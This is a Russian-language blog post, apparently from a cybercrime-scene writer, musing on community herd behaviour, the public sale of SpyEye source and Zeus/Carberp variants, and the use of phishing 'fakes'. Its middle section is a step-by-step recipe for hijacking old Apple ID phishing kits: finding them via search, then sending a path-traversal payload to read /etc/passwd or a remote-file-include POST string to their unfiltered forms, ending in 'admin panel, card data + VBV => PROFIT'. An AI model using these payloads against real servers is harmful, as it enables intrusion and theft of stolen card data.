Security downgrade

Почти год

Жизнь - Боль.

И снова здравствуйте!


За весь этот период, было слишком много моментов, сливов, интересных семплов, кодеса и т.д., о которых стоило написать, но я не стала этого делать ввиду определённых причин. 

Но сейчас не об этом, как всегда начну с listing"a-вступления:

• Downgrade
• "Дух старый школы"
• Стадность

И прочие плюшки, со свистелками и перделками.

Кого заинтересовал прошу под кат

______________________________________________

Начну пожалуй со стадности. 

Думаю все помнят, когда я писала про рефреши, разделение этих интернетов и т.п.. Так вот ныне, трансформация (а может мутация?) показывает, что на сегодняшний день, добрая половина любого community теряет голову на плечах, иногда даже во вред репутации самого community.

Примеры думаю не зачем приводить. Всё итак поймёте.

______________________________________________

Downgrade:

Продают source codes spyeye в паблике, за огромный ценник?
Модификации зевса, карберпа? Ну офигеть теперь.

Большинство полу публичных интернетов, судя по стате, даунгрейдятся, в плане технических средств, и как вы думаете что используют? Фейки, они самые.

За них я бы хотела поговорить, и предоставить мини анализ ниже:

Воды не будет, step by step:

• Открывает твиттер:гугель:apple community board
• Вбиваем в поиск apple id fake
• Находим боевой фейк, желательно старенький, т.е. очень даже возможно в блеке
• Ищем их же пост формы (которые без фильтрации, без ничего в общем) , и тыкаем в каждую , в пост запрос =../../../../../../../../../../etc/passwd, или же пытаемся заинклудить файл 0.87.17.1.1=&0.87.17.1.3=&0.87.17.1.9.0.1=&address1=3137%20Laguna%20Street&address2=3137%20Laguna%20Street&ccnumber=4111111111111111&cvv=1&dob=1&expdate=01/01/1967&fullname=nkstecxn&hostname=http://some-inexistent-website/some_inexistent_file_with_long_name%3F.gif&mobile=987-65-4329&Nojive=&postcode=94102&signInHyperLink=Verify&ssn=987-65-4329&theTypeValue=&wosid=jyLj8HZB1dtk3s3RSSkIW0
• ???
• У вас админка, цц + вбв, фейк => PROFIT

Ну и думаю, пыльная тенденция, возобновит свои воздыхания, и какое то время будет жить, работать

______________________________________________

"Дух старый школы"

На этом моменте, я бы хотела поговорить с Вами за служебные моменты.

Недавно была (лучше бы не была) по лично-коммерческим мотивам.

В нашей деревне какой такой %конторэ КЭ% как бы расформирована. И осталось только БСТМ, и то под большим вопросом.

Остались по идее ЦИБЪ, и вояки со своим РЭБ (РЭЗ). 

Но! По одной из версий, пруфы имеются, выкладывать не буду. Создается некий %конторэ Иы% с более шарящими (сис админами, королями асек и тп) сотрудниками. Действия которого, не понятны. 

К добру, это явно не приведёт.